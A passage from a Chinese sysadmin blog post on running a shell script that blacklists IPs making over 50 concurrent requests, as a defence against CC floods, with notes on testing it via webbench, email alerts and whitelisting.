表示如果脚本产生输出信息,将会写入到nohup.out文件,可以看到当前目录已经生成了一个空的nohup.out:
[root@Mars_Server iptables]# ll nohup.out
-rw------- 1 root root 0 Nov 5 21:15 nohup.out
好了,现在你执行执行ps aux 应该可以找到如下进程:
root 23630 0.0 0.2 5060 1224 pts/0 S 21:15 0:00 /bin/bash ./deny_blackip.sh
root 23964 0.0 0.0 4064 508 pts/0 S 21:19 0:00 sleep 10
一切顺利!每10s将检查一次服务器请求,如果某个IP超过50个并发,立即拉黑,并发一封邮件给你!
三、效果测试
测试很简单,先使用nohup启动脚本,然后在另一台Linux或Windows安装webbench,然后模拟50+并发去抓取该服务器的某个页面,20s之内可见到效果,下面是我的测试截图:
①、模拟CC攻击的服务器截图:
②、被CC攻击的服务器截图:
③、攻击IP被拉黑后的报警邮件:
测试时,模拟55个并发攻击了20s,立马就被拉黑了,效果很明显!
四、附加说明
①、脚本发邮件需要安装sendmail,若未安装请执行yum -y install sendmail安装并启动即可;
②、若要停止后台运行的脚本,只要使用ps aux命令找到该脚本的pid线程号,然后执行kill -9 pid号即可结束;
③、关于脚本的单IP并发限制,我实际测试同时打开博客多个页面并持续刷新,顶多也就产生十来个并发,所以单IP超过50个并发就已经有很大的问题了!当然,文章的阈值设为50也只是建议值,你可以根据需求自行调整(如果网站静态文件未托管到CDN,那么一个页面可能存在10多个并发);
④、写这个脚本,主要是为了弥补用crontab执行时间间隔最低只能是1分钟的不足,可以让CC防护更严密,甚至每隔1S执行一次!虽说脚本不怎么占用资源,不过还是建议10s执行一次为佳,不用太过极端是吧?
⑤、对于白名单过滤,只要将白名单IP保存到脚本同一目录下的white_ip.txt文件中即可,若发现攻击IP在白名单中,脚本不会直接拉黑,而是发一封邮件给你,让你自己判断这个白名单攻击你是为毛?如果白名单需要支持IP段,请参考我前天写的脚本即可。
就啰嗦这么多,主要还是自己用,然后分享出来给有需要的人一些参考,个人vps服务器虽说很少有人攻击,但是基本的安装防护还是必须要做的!希望本文对你有所帮助!